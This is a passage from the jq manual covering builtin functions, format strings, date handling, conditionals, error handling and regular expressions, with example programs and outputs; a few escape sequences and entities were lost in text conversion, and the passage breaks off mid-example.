The builtin function del removes a key and its corresponding value from an object.

jq 'del(.foo)'
   {"foo": 42, "bar": 9001, "baz": 42}
=> {"bar": 9001, "baz": 42}

jq 'del(.[1, 2])'
   ["foo", "bar", "baz"]
=> ["foo"]

getpath(PATHS)

The builtin function getpath outputs the values in . found at each path in PATHS.

jq 'getpath(["a","b"])'
   null
=> null

jq '[getpath(["a","b"], ["a","c"])]'
   {"a":{"b":0, "c":1}}
=> [0, 1]

setpath(PATHS; VALUE)

The builtin function setpath sets the PATHS in . to VALUE.

jq 'setpath(["a","b"]; 1)'
   null
=> {"a": {"b": 1}}

jq 'setpath(["a","b"]; 1)'
   {"a":{"b":0}}
=> {"a": {"b": 1}}

jq 'setpath([0,"a"]; 1)'
   null
=> [{"a":1}]

delpaths(PATHS)

The builtin function delpaths deletes the PATHS in .. PATHS must be an array of paths, where each path is an array of strings and numbers.

jq 'delpaths([["a","b"]])'
   {"a":{"b":1},"x":{"y":2}}
=> {"a":{},"x":{"y":2}}

to_entries, from_entries, with_entries(f)

These functions convert between an object and an array of key-value pairs. If to_entries is passed an object, then for each k: v entry in the input, the output array includes {“key”: k, “value”: v}.

from_entries does the opposite conversion, and with_entries(f) is a shorthand for to_entries | map(f) | from_entries, useful for doing some operation to all keys and values of an object. from_entries accepts “key”, “Key”, “name”, “Name”, “value”, and “Value” as keys.

jq 'to_entries'
   {"a": 1, "b": 2}
=> [{"key":"a", "value":1}, {"key":"b", "value":2}]

jq 'from_entries'
   [{"key":"a", "value":1}, {"key":"b", "value":2}]
=> {"a": 1, "b": 2}

jq 'with_entries(.key |= "KEY_" + .)'
   {"a": 1, "b": 2}
=> {"KEY_a": 1, "KEY_b": 2}

select(boolean_expression)

The function select(f) produces its input unchanged if f returns true for that input, and produces no output otherwise.

It’s useful for filtering lists: [1,2,3] | map(select(. >= 2)) will give you [2,3].

jq 'map(select(. >= 2))'
   [1,5,3,0,7]
=> [5,3,7]

jq '.[] | select(.id == "second")'
   [{"id": "first", "val": 1}, {"id": "second", "val": 2}]
=> {"id": "second", "val": 2}

arrays, objects, iterables, booleans, numbers, normals, finites, strings, nulls, values, scalars

These built-ins select only inputs that are arrays, objects, iterables (arrays or objects), booleans, numbers, normal numbers, finite numbers, strings, null, non-null values, and non-iterables, respectively.

jq '.[]|numbers'
   [[],{},1,"foo",null,true,false]
=> 1

empty

empty returns no results. None at all. Not even null.

It’s useful on occasion. You’ll know if you need it :)

jq '1, empty, 2'
   null
=> 1, 2

jq '[1,2,empty,3]'
   null
=> [1,2,3]

error, error(message)

Produces an error with the input value, or with the message given as the argument. Errors can be caught with try/catch; see below.

jq 'try error catch .'
   "error message"
=> "error message"

jq 'try error("invalid value: \(.)") catch .'
   42
=> "invalid value: 42"

halt

Stops the jq program with no further outputs. jq will exit with exit status 0.

halt_error, halt_error(exit_code)

Stops the jq program with no further outputs. The input will be printed on stderr as raw output (i.e., strings will not have double quotes) with no decoration, not even a newline.

The given exit_code (defaulting to 5) will be jq’s exit status.

For example, “Error: something went wrong “|halt_error(1).

$__loc__

Produces an object with a “file” key and a “line” key, with the filename and line number where $__loc__ occurs, as values.

jq 'try error("\($__loc__)") catch .'
   null
=> "{\"file\":\"<top-level>\",\"line\":1}"

paths, paths(node_filter)

paths outputs the paths to all the elements in its input (except it does not output the empty list, representing . itself).

paths(f) outputs the paths to any values for which f is true. That is, paths(type == “number”) outputs the paths to all numeric values.

jq '[paths]'
   [1,[[],{"a":2}]]
=> [[0],[1],[1,0],[1,1],[1,1,"a"]]

jq '[paths(type == "number")]'
   [1,[[],{"a":2}]]
=> [[0],[1,1,"a"]]

add

The filter add takes as input an array, and produces as output the elements of the array added together. This might mean summed, concatenated or merged depending on the types of the elements of the input array - the rules are the same as those for the + operator (described above).

If the input is an empty array, add returns null.

jq 'add'
   ["a","b","c"]
=> "abc"

jq 'add'
   [1, 2, 3]
=> 6

jq 'add'
   []
=> null

any, any(condition), any(generator; condition)

The filter any takes as input an array of boolean values, and produces true as output if any of the elements of the array are true.

If the input is an empty array, any returns false.

The any(condition) form applies the given condition to the elements of the input array.

The any(generator; condition) form applies the given condition to all the outputs of the given generator.

jq 'any'
   [true, false]
=> true

jq 'any'
   [false, false]
=> false

jq 'any'
   []
=> false

all, all(condition), all(generator; condition)

The filter all takes as input an array of boolean values, and produces true as output if all of the elements of the array are true.

The all(condition) form applies the given condition to the elements of the input array.

The all(generator; condition) form applies the given condition to all the outputs of the given generator.

If the input is an empty array, all returns true.

jq 'all'
   [true, false]
=> false

jq 'all'
   [true, true]
=> true

jq 'all'
   []
=> true

flatten, flatten(depth)

The filter flatten takes as input an array of nested arrays, and produces a flat array in which all arrays inside the original array have been recursively replaced by their values. You can pass an argument to it to specify how many levels of nesting to flatten.

flatten(2) is like flatten, but going only up to two levels deep.

jq 'flatten'
   [1, [2], [[3]]]
=> [1, 2, 3]

jq 'flatten(1)'
   [1, [2], [[3]]]
=> [1, 2, [3]]

jq 'flatten'
   [[]]
=> []

jq 'flatten'
   [{"foo": "bar"}, [{"foo": "baz"}]]
=> [{"foo": "bar"}, {"foo": "baz"}]

range(upto), range(from; upto), range(from; upto; by)

The range function produces a range of numbers. range(4; 10) produces 6 numbers, from 4 (inclusive) to 10 (exclusive). The numbers are produced as separate outputs. Use [range(4; 10)] to get a range as an array.

The one argument form generates numbers from 0 to the given number, with an increment of 1.

The two argument form generates numbers from from to upto with an increment of 1.

The three argument form generates numbers from to upto with an increment of by.

jq 'range(2; 4)'
   null
=> 2, 3

jq '[range(2; 4)]'
   null
=> [2,3]

jq '[range(4)]'
   null
=> [0,1,2,3]

jq '[range(0; 10; 3)]'
   null
=> [0,3,6,9]

jq '[range(0; 10; -1)]'
   null
=> []

jq '[range(0; -5; -1)]'
   null
=> [0,-1,-2,-3,-4]

floor

The floor function returns the floor of its numeric input.

jq 'floor'
   3.14159
=> 3

sqrt

The sqrt function returns the square root of its numeric input.

jq 'sqrt'
   9
=> 3

tonumber

The tonumber function parses its input as a number. It will convert correctly-formatted strings to their numeric equivalent, leave numbers alone, and give an error on all other input.

jq '.[] | tonumber'
   [1, "1"]
=> 1, 1

tostring

The tostring function prints its input as a string. Strings are left unchanged, and all other values are JSON-encoded.

jq '.[] | tostring'
   [1, "1", [1]]
=> "1", "1", "[1]"

type

The type function returns the type of its argument as a string, which is one of null, boolean, number, string, array or object.

jq 'map(type)'
   [0, false, [], {}, null, "hello"]
=> ["number", "boolean", "array", "object", "null", "string"]

infinite, nan, isinfinite, isnan, isfinite, isnormal

Some arithmetic operations can yield infinities and “not a number” (NaN) values. The isinfinite builtin returns true if its input is infinite. The isnan builtin returns true if its input is a NaN. The infinite builtin returns a positive infinite value. The nan builtin returns a NaN. The isnormal builtin returns true if its input is a normal number.

Note that division by zero raises an error.

Currently most arithmetic operations operating on infinities, NaNs, and sub-normals do not raise errors.

jq '.[] | (infinite * .) < 0'
   [-1, 1]
=> true, false

jq 'infinite, nan | type'
   null
=> "number", "number"

sort, sort_by(path_expression)

The sort functions sorts its input, which must be an array. Values are sorted in the following order:

  • null

  • false

  • true

  • numbers

  • strings, in alphabetical order (by unicode codepoint value)

  • arrays, in lexical order

  • objects

The ordering for objects is a little complex: first they’re compared by comparing their sets of keys (as arrays in sorted order), and if their keys are equal then the values are compared key by key.

sort_by may be used to sort by a particular field of an object, or by applying any jq filter. sort_by(f) compares two elements by comparing the result of f on each element. When f produces multiple values, it firstly compares the first values, and the second values if the first values are equal, and so on.

jq 'sort'
   [8,3,null,6]
=> [null,3,6,8]

jq 'sort_by(.foo)'
   [{"foo":4, "bar":10}, {"foo":3, "bar":10}, {"foo":2, "bar":1}]
=> [{"foo":2, "bar":1}, {"foo":3, "bar":10}, {"foo":4, "bar":10}]

jq 'sort_by(.foo, .bar)'
   [{"foo":4, "bar":10}, {"foo":3, "bar":20}, {"foo":2, "bar":1}, {"foo":3, "bar":10}]
=> [{"foo":2, "bar":1}, {"foo":3, "bar":10}, {"foo":3, "bar":20}, {"foo":4, "bar":10}]

group_by(path_expression)

group_by(.foo) takes as input an array, groups the elements having the same .foo field into separate arrays, and produces all of these arrays as elements of a larger array, sorted by the value of the .foo field.

Any jq expression, not just a field access, may be used in place of .foo. The sorting order is the same as described in the sort function above.

jq 'group_by(.foo)'
   [{"foo":1, "bar":10}, {"foo":3, "bar":100}, {"foo":1, "bar":1}]
=> [[{"foo":1, "bar":10}, {"foo":1, "bar":1}], [{"foo":3, "bar":100}]]

min, max, min_by(path_exp), max_by(path_exp)

Find the minimum or maximum element of the input array.

The min_by(path_exp) and max_by(path_exp) functions allow you to specify a particular field or property to examine, e.g. min_by(.foo) finds the object with the smallest foo field.

jq 'min'
   [5,4,2,7]
=> 2

jq 'max_by(.foo)'
   [{"foo":1, "bar":14}, {"foo":2, "bar":3}]
=> {"foo":2, "bar":3}

unique, unique_by(path_exp)

The unique function takes as input an array and produces an array of the same elements, in sorted order, with duplicates removed.

The unique_by(path_exp) function will keep only one element for each value obtained by applying the argument. Think of it as making an array by taking one element out of every group produced by group.

jq 'unique'
   [1,2,5,3,5,3,1,3]
=> [1,2,3,5]

jq 'unique_by(.foo)'
   [{"foo": 1, "bar": 2}, {"foo": 1, "bar": 3}, {"foo": 4, "bar": 5}]
=> [{"foo": 1, "bar": 2}, {"foo": 4, "bar": 5}]

jq 'unique_by(length)'
   ["chunky", "bacon", "kitten", "cicada", "asparagus"]
=> ["bacon", "chunky", "asparagus"]

reverse

This function reverses an array.

jq 'reverse'
   [1,2,3,4]
=> [4,3,2,1]

contains(element)

The filter contains(b) will produce true if b is completely contained within the input. A string B is contained in a string A if B is a substring of A. An array B is contained in an array A if all elements in B are contained in any element in A. An object B is contained in object A if all of the values in B are contained in the value in A with the same key. All other types are assumed to be contained in each other if they are equal.

jq 'contains("bar")'
   "foobar"
=> true

jq 'contains(["baz", "bar"])'
   ["foobar", "foobaz", "blarp"]
=> true

jq 'contains(["bazzzzz", "bar"])'
   ["foobar", "foobaz", "blarp"]
=> false

jq 'contains({foo: 12, bar: [{barp: 12}]})'
   {"foo": 12, "bar":[1,2,{"barp":12, "blip":13}]}
=> true

jq 'contains({foo: 12, bar: [{barp: 15}]})'
   {"foo": 12, "bar":[1,2,{"barp":12, "blip":13}]}
=> false

indices(s)

Outputs an array containing the indices in . where s occurs. The input may be an array, in which case if s is an array then the indices output will be those where all elements in . match those of s.

jq 'indices(", ")'
   "a,b, cd, efg, hijk"
=> [3,7,12]

jq 'indices(1)'
   [0,1,2,1,3,1,4]
=> [1,3,5]

jq 'indices([1,2])'
   [0,1,2,3,1,4,2,5,1,2,6,7]
=> [1,8]

index(s), rindex(s)

Outputs the index of the first (index) or last (rindex) occurrence of s in the input.

jq 'index(", ")'
   "a,b, cd, efg, hijk"
=> 3

jq 'index(1)'
   [0,1,2,1,3,1,4]
=> 1

jq 'index([1,2])'
   [0,1,2,3,1,4,2,5,1,2,6,7]
=> 1

jq 'rindex(", ")'
   "a,b, cd, efg, hijk"
=> 12

jq 'rindex(1)'
   [0,1,2,1,3,1,4]
=> 5

jq 'rindex([1,2])'
   [0,1,2,3,1,4,2,5,1,2,6,7]
=> 8

inside

The filter inside(b) will produce true if the input is completely contained within b. It is, essentially, an inversed version of contains.

jq 'inside("foobar")'
   "bar"
=> true

jq 'inside(["foobar", "foobaz", "blarp"])'
   ["baz", "bar"]
=> true

jq 'inside(["foobar", "foobaz", "blarp"])'
   ["bazzzzz", "bar"]
=> false

jq 'inside({"foo": 12, "bar":[1,2,{"barp":12, "blip":13}]})'
   {"foo": 12, "bar": [{"barp": 12}]}
=> true

jq 'inside({"foo": 12, "bar":[1,2,{"barp":12, "blip":13}]})'
   {"foo": 12, "bar": [{"barp": 15}]}
=> false

startswith(str)

Outputs true if . starts with the given string argument.

jq '[.[]|startswith("foo")]'
   ["fo", "foo", "barfoo", "foobar", "barfoob"]
=> [false, true, false, true, false]

endswith(str)

Outputs true if . ends with the given string argument.

jq '[.[]|endswith("foo")]'
   ["foobar", "barfoo"]
=> [false, true]

combinations, combinations(n)

Outputs all combinations of the elements of the arrays in the input array. If given an argument n, it outputs all combinations of n repetitions of the input array.

jq 'combinations'
   [[1,2], [3, 4]]
=> [1, 3], [1, 4], [2, 3], [2, 4]

jq 'combinations(2)'
   [0, 1]
=> [0, 0], [0, 1], [1, 0], [1, 1]

ltrimstr(str)

Outputs its input with the given prefix string removed, if it starts with it.

jq '[.[]|ltrimstr("foo")]'
   ["fo", "foo", "barfoo", "foobar", "afoo"]
=> ["fo","","barfoo","bar","afoo"]

rtrimstr(str)

Outputs its input with the given suffix string removed, if it ends with it.

jq '[.[]|rtrimstr("foo")]'
   ["fo", "foo", "barfoo", "foobar", "foob"]
=> ["fo","","bar","foobar","foob"]

explode

Converts an input string into an array of the string’s codepoint numbers.

jq 'explode'
   "foobar"
=> [102,111,111,98,97,114]

implode

The inverse of explode.

jq 'implode'
   [65, 66, 67]
=> "ABC"

split(str)

Splits an input string on the separator argument.

split can also split on regex matches when called with two arguments (see the regular expressions section below).

jq 'split(", ")'
   "a, b,c,d, e, "
=> ["a","b,c,d","e",""]

join(str)

Joins the array of elements given as input, using the argument as separator. It is the inverse of split: that is, running split(“foo”) | join(“foo”) over any input string returns said input string.

Numbers and booleans in the input are converted to strings. Null values are treated as empty strings. Arrays and objects in the input are not supported.

jq 'join(", ")'
   ["a","b,c,d","e"]
=> "a, b,c,d, e"

jq 'join(" ")'
   ["a",1,2.3,true,null,false]
=> "a 1 2.3 true  false"

ascii_downcase, ascii_upcase

Emit a copy of the input string with its alphabetic characters (a-z and A-Z) converted to the specified case.

jq 'ascii_upcase'
   "useful but not for é"
=> "USEFUL BUT NOT FOR é"

while(cond; update)

The while(cond; update) function allows you to repeatedly apply an update to . until cond is false.

Note that while(cond; update) is internally defined as a recursive jq function. Recursive calls within while will not consume additional memory if update produces at most one output for each input. See advanced topics below.

jq '[while(.<100; .*2)]'
   1
=> [1,2,4,8,16,32,64]

repeat(exp)

The repeat(exp) function allows you to repeatedly apply expression exp to . until an error is raised.

Note that repeat(exp) is internally defined as a recursive jq function. Recursive calls within repeat will not consume additional memory if exp produces at most one output for each input. See advanced topics below.

jq '[repeat(.*2, error)?]'
   1
=> [2]

until(cond; next)

The until(cond; next) function allows you to repeatedly apply the expression next, initially to . then to its own output, until cond is true. For example, this can be used to implement a factorial function (see below).

Note that until(cond; next) is internally defined as a recursive jq function. Recursive calls within until() will not consume additional memory if next produces at most one output for each input. See advanced topics below.

jq '[.,1]|until(.[0] < 1; [.[0] - 1, .[1] * .[0]])|.[1]'
   4
=> 24

recurse(f), recurse, recurse(f; condition)

The recurse(f) function allows you to search through a recursive structure, and extract interesting data from all levels. Suppose your input represents a filesystem:

{"name": "/", "children": [
  {"name": "/bin", "children": [
    {"name": "/bin/ls", "children": []},
    {"name": "/bin/sh", "children": []}]},
  {"name": "/home", "children": [
    {"name": "/home/stephen", "children": [
      {"name": "/home/stephen/jq", "children": []}]}]}]}

Now suppose you want to extract all of the filenames present. You need to retrieve .name, .children[].name, .children[].children[].name, and so on. You can do this with:

recurse(.children[]) | .name

When called without an argument, recurse is equivalent to recurse(.[]?).

recurse(f) is identical to recurse(f; true) and can be used without concerns about recursion depth.

recurse(f; condition) is a generator which begins by emitting . and then emits in turn .|f, .|f|f, .|f|f|f, … so long as the computed value satisfies the condition. For example, to generate all the integers, at least in principle, one could write recurse(.+1; true).

The recursive calls in recurse will not consume additional memory whenever f produces at most a single output for each input.

jq 'recurse(.foo[])'
   {"foo":[{"foo": []}, {"foo":[{"foo":[]}]}]}
=> {"foo":[{"foo":[]},{"foo":[{"foo":[]}]}]}, {"foo":[]}, {"foo":[{"foo":[]}]}, {"foo":[]}

jq 'recurse'
   {"a":0,"b":[1]}
=> {"a":0,"b":[1]}, 0, [1], 1

jq 'recurse(. * .; . < 20)'
   2
=> 2, 4, 16

walk(f)

The walk(f) function applies f recursively to every component of the input entity. When an array is encountered, f is first applied to its elements and then to the array itself; when an object is encountered, f is first applied to all the values and then to the object. In practice, f will usually test the type of its input, as illustrated in the following examples. The first example highlights the usefulness of processing the elements of an array of arrays before processing the array itself. The second example shows how all the keys of all the objects within the input can be considered for alteration.

jq 'walk(if type == "array" then sort else . end)'
   [[4, 1, 7], [8, 5, 2], [3, 6, 9]]
=> [[1,4,7],[2,5,8],[3,6,9]]

jq 'walk( if type == "object" then with_entries( .key |= sub( "^_+"; "") ) else . end )'
   [ { "_a": { "__b": 2 } } ]
=> [{"a":{"b":2}}]

$JQ_BUILD_CONFIGURATION

This builtin binding shows the jq executable’s build configuration. Its value has no particular format, but it can be expected to be at least the ./configure command-line arguments, and may be enriched in the future to include the version strings for the build tooling used.

Note that this can be overriden in the command-line with –arg and related options.

$ENV, env

$ENV is an object representing the environment variables as set when the jq program started.

env outputs an object representing jq’s current environment.

At the moment there is no builtin for setting environment variables.

jq '$ENV.PAGER'
   null
=> "less"

jq 'env.PAGER'
   null
=> "less"

transpose

Transpose a possibly jagged matrix (an array of arrays). Rows are padded with nulls so the result is always rectangular.

jq 'transpose'
   [[1], [2,3]]
=> [[1,2],[null,3]]

bsearch(x)

bsearch(x) conducts a binary search for x in the input array. If the input is sorted and contains x, then bsearch(x) will return its index in the array; otherwise, if the array is sorted, it will return (-1 - ix) where ix is an insertion point such that the array would still be sorted after the insertion of x at ix. If the array is not sorted, bsearch(x) will return an integer that is probably of no interest.

jq 'bsearch(0)'
   [0,1]
=> 0

jq 'bsearch(0)'
   [1,2,3]
=> -1

jq 'bsearch(4) as $ix | if $ix < 0 then .[-(1+$ix)] = 4 else . end'
   [1,2,3]
=> [1,2,3,4]

String interpolation: \exp)

Inside a string, you can put an expression inside parens after a backslash. Whatever the expression returns will be interpolated into the string.

jq '"The input was \(.), which is one less than \(.+1)"'
   42
=> "The input was 42, which is one less than 43"

Convert to/from JSON

The tojson and fromjson builtins dump values as JSON texts or parse JSON texts into values, respectively. The tojson builtin differs from tostring in that tostring returns strings unmodified, while tojson encodes strings as JSON strings.

jq '[.[]|tostring]'
   [1, "foo", ["foo"]]
=> ["1","foo","[\"foo\"]"]

jq '[.[]|tojson]'
   [1, "foo", ["foo"]]
=> ["1","\"foo\"","[\"foo\"]"]

jq '[.[]|tojson|fromjson]'
   [1, "foo", ["foo"]]
=> [1,"foo",["foo"]]

Format strings and escaping

The @foo syntax is used to format and escape strings, which is useful for building URLs, documents in a language like HTML or XML, and so forth. @foo can be used as a filter on its own, the possible escapings are:

@text:

Calls tostring, see that function for details.

@json:

Serializes the input as JSON.

@html:

Applies HTML/XML escaping, by mapping the characters <>&’” to their entity equivalents <, >, &, ', ".

@uri:

Applies percent-encoding, by mapping all reserved URI characters to a %XX sequence.

@csv:

The input must be an array, and it is rendered as CSV with double quotes for strings, and quotes escaped by repetition.

@tsv:

The input must be an array, and it is rendered as TSV (tab-separated values). Each input array will be printed as a single line. Fields are separated by a single tab (ascii 0x09). Input characters line-feed (ascii 0x0a), carriage-return (ascii 0x0d), tab (ascii 0x09) and backslash (ascii 0x5c) will be output as escape sequences ** **, ** **, ** **, ** respectively.

@sh:

The input is escaped suitable for use in a command-line for a POSIX shell. If the input is an array, the output will be a series of space-separated strings.

@base64:

The input is converted to base64 as specified by RFC 4648.

@base64d:

The inverse of @base64, input is decoded as specified by RFC 4648. Note\ If the decoded string is not UTF-8, the results are undefined.

This syntax can be combined with string interpolation in a useful way. You can follow a @foo token with a string literal. The contents of the string literal will not be escaped. However, all interpolations made inside that string literal will be escaped. For instance,

@uri "https://www.google.com/search?q=\(.search)"

will produce the following output for the input {“search”:“what is jq?”}:

"https://www.google.com/search?q=what%20is%20jq%3F"

Note that the slashes, question mark, etc. in the URL are not escaped, as they were part of the string literal.

jq '@html'
   "This works if x < y"
=> "This works if x &lt; y"

jq '@sh "echo \(.)"'
   "O'Hara's Ale"
=> "echo 'O'\''Hara'\''s Ale'"

jq '@base64'
   "This is a message"
=> "VGhpcyBpcyBhIG1lc3NhZ2U="

jq '@base64d'
   "VGhpcyBpcyBhIG1lc3NhZ2U="
=> "This is a message"

Dates

jq provides some basic date handling functionality, with some high-level and low-level builtins. In all cases these builtins deal exclusively with time in UTC.

The fromdateiso8601 builtin parses datetimes in the ISO 8601 format to a number of seconds since the Unix epoch (1970-01-01T00:00:00Z). The todateiso8601 builtin does the inverse.

The fromdate builtin parses datetime strings. Currently fromdate only supports ISO 8601 datetime strings, but in the future it will attempt to parse datetime strings in more formats.

The todate builtin is an alias for todateiso8601.

The now builtin outputs the current time, in seconds since the Unix epoch.

Low-level jq interfaces to the C-library time functions are also provided: strptime, strftime, strflocaltime, mktime, gmtime, and localtime. Refer to your host operating system’s documentation for the format strings used by strptime and strftime. Note: these are not necessarily stable interfaces in jq, particularly as to their localization functionality.

The gmtime builtin consumes a number of seconds since the Unix epoch and outputs a “broken down time” representation of Greenwich Mean Time as an array of numbers representing (in this order): the year, the month (zero-based), the day of the month (one-based), the hour of the day, the minute of the hour, the second of the minute, the day of the week, and the day of the year – all one-based unless otherwise stated. The day of the week number may be wrong on some systems for dates before March 1st 1900, or after December 31 2099.

The localtime builtin works like the gmtime builtin, but using the local timezone setting.

The mktime builtin consumes “broken down time” representations of time output by gmtime and strptime.

The strptime(fmt) builtin parses input strings matching the fmt argument. The output is in the “broken down time” representation consumed by gmtime and output by mktime.

The strftime(fmt) builtin formats a time (GMT) with the given format. The strflocaltime does the same, but using the local timezone setting.

The format strings for strptime and strftime are described in typical C library documentation. The format string for ISO 8601 datetime is "%Y-%m-%dT%H:%M:%SZ”.

jq may not support some or all of this date functionality on some systems. In particular, the %u and %j specifiers for strptime(fmt) are not supported on macOS.

jq 'fromdate'
   "2015-03-05T23:51:47Z"
=> 1425599507

jq 'strptime("%Y-%m-%dT%H:%M:%SZ")'
   "2015-03-05T23:51:47Z"
=> [2015,2,5,23,51,47,4,63]

jq 'strptime("%Y-%m-%dT%H:%M:%SZ")|mktime'
   "2015-03-05T23:51:47Z"
=> 1425599507

SQL-Style Operators

jq provides a few SQL-style operators.

INDEX(stream; index_expression):

This builtin produces an object whose keys are computed by the given index expression applied to each value from the given stream.

JOIN($idx; stream; idx_expr; join_expr):

This builtin joins the values from the given stream to the given index. The index’s keys are computed by applying the given index expression to each value from the given stream. An array of the value in the stream and the corresponding value from the index is fed to the given join expression to produce each result.

JOIN($idx; stream; idx_expr):

Same as JOIN($idx; stream; idx_expr; .).

JOIN($idx; idx_expr):

This builtin joins the input . to the given index, applying the given index expression to . to compute the index key. The join operation is as described above.

IN(s):

This builtin outputs true if . appears in the given stream, otherwise it outputs false.

IN(source; s):

This builtin outputs true if any value in the source stream appears in the second stream, otherwise it outputs false.

builtins

Returns a list of all builtin functions in the format name/arity. Since functions with the same name but different arities are considered separate functions, all/0, all/1, and all/2 would all be present in the list.

CONDITIONALS AND COMPARISONS

==, !=

The expression ‘a == b’ will produce ’true’ if the results of evaluating a and b are equal (that is, if they represent equivalent JSON values) and ‘false’ otherwise. In particular, strings are never considered equal to numbers. In checking for the equality of JSON objects, the ordering of keys is irrelevant. If you’re coming from JavaScript, please note that jq’s == is like JavaScript’s ===, the “strict equality” operator.

!= is “not equal”, and ‘a != b’ returns the opposite value of ‘a == b’

jq '. == false'
   null
=> false

jq '. == {"b": {"d": (4 + 1e-20), "c": 3}, "a":1}'
   {"a":1, "b": {"c": 3, "d": 4}}
=> true

jq '.[] == 1'
   [1, 1.0, "1", "banana"]
=> true, true, false, false

if-then-else-end

if A then B else C end will act the same as B if A produces a value other than false or null, but act the same as C otherwise.

if A then B end is the same as if A then B else . end. That is, the else branch is optional, and if absent is the same as .. This also applies to elif with absent ending else branch.

Checking for false or null is a simpler notion of “truthiness” than is found in JavaScript or Python, but it means that you’ll sometimes have to be more explicit about the condition you want. You can’t test whether, e.g. a string is empty using if .name then A else B end; you’ll need something like if .name == "" then A else B end instead.

If the condition A produces multiple results, then B is evaluated once for each result that is not false or null, and C is evaluated once for each false or null.

More cases can be added to an if using elif A then B syntax.

jq 'if . == 0 then
  "zero"
elif . == 1 then
  "one"
else
  "many"
end'
   2
=> "many"

>, >=, <=, <

The comparison operators >, >=, <=, < return whether their left argument is greater than, greater than or equal to, less than or equal to or less than their right argument (respectively).

The ordering is the same as that described for sort, above.

jq '. < 5'
   2
=> true

and, or, not

jq supports the normal Boolean operators and, or, not. They have the same standard of truth as if expressions - false and null are considered “false values”, and anything else is a “true value”.

If an operand of one of these operators produces multiple results, the operator itself will produce a result for each input.

not is in fact a builtin function rather than an operator, so it is called as a filter to which things can be piped rather than with special syntax, as in .foo and .bar | not.

These three only produce the values true and false, and so are only useful for genuine Boolean operations, rather than the common Perl/Python/Ruby idiom of “value_that_may_be_null or default”. If you want to use this form of “or”, picking between two values rather than evaluating a condition, see the // operator below.

jq '42 and "a string"'
   null
=> true

jq '(true, false) or false'
   null
=> true, false

jq '(true, true) and (true, false)'
   null
=> true, false, true, false

jq '[true, false | not]'
   null
=> [false, true]

Alternative operator: //

The // operator produces all the values of its left-hand side that are neither false nor null. If the left-hand side produces no values other than false or null, then // produces all the values of its right-hand side.

A filter of the form a // b produces all the results of a that are not false or null. If a produces no results, or no results other than false or null, then a // b produces the results of b.

This is useful for providing defaults: .foo // 1 will evaluate to 1 if there’s no .foo element in the input. It’s similar to how or is sometimes used in Python (jq’s or operator is reserved for strictly Boolean operations).

Note: some_generator // defaults_here is not the same as some_generator | . // defaults_here. The latter will produce default values for all non-false, non-null values of the left-hand side, while the former will not. Precedence rules can make this confusing. For example, in false, 1 // 2 the left-hand side of // is 1, not false, 1false, 1 // 2 parses the same way as false, (1 // 2). In (false, null, 1) | . // 42 the left-hand side of // is ., which always produces just one value, while in (false, null, 1) // 42 the left-hand side is a generator of three values, and since it produces a value other false and null, the default 42 is not produced.

jq 'empty // 42'
   null
=> 42

jq '.foo // 42'
   {"foo": 19}
=> 19

jq '.foo // 42'
   {}
=> 42

jq '(false, null, 1) // 42'
   null
=> 1

jq '(false, null, 1) | . // 42'
   null
=> 42, 42, 1

try-catch

Errors can be caught by using try EXP catch EXP. The first expression is executed, and if it fails then the second is executed with the error message. The output of the handler, if any, is output as if it had been the output of the expression to try.

The try EXP form uses empty as the exception handler.

jq 'try .a catch ". is not an object"'
   true
=> ". is not an object"

jq '[.[]|try .a]'
   [{}, true, {"a":1}]
=> [null, 1]

jq 'try error("some exception") catch .'
   true
=> "some exception"

Breaking out of control structures

A convenient use of try/catch is to break out of control structures like reduce, foreach, while, and so on.

For example:

# Repeat an expression until it raises "break" as an
# error, then stop repeating without re-raising the error.
# But if the error caught is not "break" then re-raise it.
try repeat(exp) catch if .=="break" then empty else error

jq has a syntax for named lexical labels to “break” or “go (back) to”:

label $out | ... break $out ...

The break $label_name expression will cause the program to to act as though the nearest (to the left) label $label_name produced empty.

The relationship between the break and corresponding label is lexical: the label has to be “visible” from the break.

To break out of a reduce, for example:

label $out | reduce .[] as $item (null; if .==false then break $out else ... end)

The following jq program produces a syntax error:

break $out

because no label $out is visible.

Error Suppression / Optional Operator: ?

The ? operator, used as EXP?, is shorthand for try EXP.

jq '[.[] | .a?]'
   [{}, true, {"a":1}]
=> [null, 1]

jq '[.[] | tonumber?]'
   ["1", "invalid", "3", 4]
=> [1, 3, 4]

REGULAR EXPRESSIONS

jq uses the Oniguruma regular expression library, as do PHP, TextMate, Sublime Text, etc, so the description here will focus on jq specifics.

Oniguruma supports several flavors of regular expression, so it is important to know that jq uses the “Perl NG” (Perl with named groups) flavor.

The jq regex filters are defined so that they can be used using one of these patterns:

STRING | FILTER(REGEX)
STRING | FILTER(REGEX; FLAGS)
STRING | FILTER([REGEX])
STRING | FILTER([REGEX, FLAGS])

where:

  • STRING, REGEX, and FLAGS are jq strings and subject to jq string interpolation;

  • REGEX, after string interpolation, should be a valid regular expression;

  • FILTER is one of test, match, or capture, as described below.

Since REGEX must evaluate to a JSON string, some characters that are needed to form a regular expression must be escaped. For example, the regular expression \s signifying a whitespace character would be written as "\s".

FLAGS is a string consisting of one of more of the supported flags:

  • g - Global search (find all matches, not just the first)

  • i - Case insensitive search

  • m - Multi line mode (. will match newlines)

  • n - Ignore empty matches

  • p - Both s and m modes are enabled

  • s - Single line mode (^ -> \A, $ -> \Z)

  • l - Find longest possible matches

  • x - Extended regex format (ignore whitespace and comments)

To match a whitespace with the x flag, use \s, e.g.

jq -n '"a b" | test("a\sb"; "x")'

Note that certain flags may also be specified within REGEX, e.g.

jq -n '("test", "TEst", "teST", "TEST") | test("(?i)te(?-i)st")'

evaluates to: true, true, false, false.

test(val), test(regex; flags)

Like match, but does not return match objects, only true or false for whether or not the regex matches the input.

jq 'test("foo")'
   "foo"
=> true

jq '.[] | test("a b c # spaces are ignored"; "ix")'
   ["xabcd", "ABC"]
=> true, true

match(val), match(regex; flags)

match outputs an object for each match it finds. Matches have the following fields:

  • offset - offset in UTF-8 codepoints from the beginning of the input

  • length - length in UTF-8 codepoints of the match

  • string - the string that it matched

  • captures - an array of objects representing capturing groups.

Capturing group objects have the following fields:

  • offset - offset in UTF-8 codepoints from the beginning of the input

  • length - length in UTF-8 codepoints of this capturing group

  • string - the string that was captured

  • name - the name of the capturing group (or null if it was unnamed)

Capturing groups that did not match anything return an offset of -1

jq 'match("(abc)+"; "g")'
   "abc abc"
=> {"offset": 0, "length": 3, "string": "abc", "captures": [{"offset": 0, "length": 3, "string": "abc", "name": null}]}, {"offset": 4, "length": 3, "string": "abc", "captures": [{"offset": 4, "length": 3, "string": "abc", "name": null}]}

jq 'match("foo")'
   "foo bar foo"
=> {"offset": 0, "length": 3, "string": "foo", "captures": []}

jq 'match(["foo", "ig"])'
   "foo bar FOO"
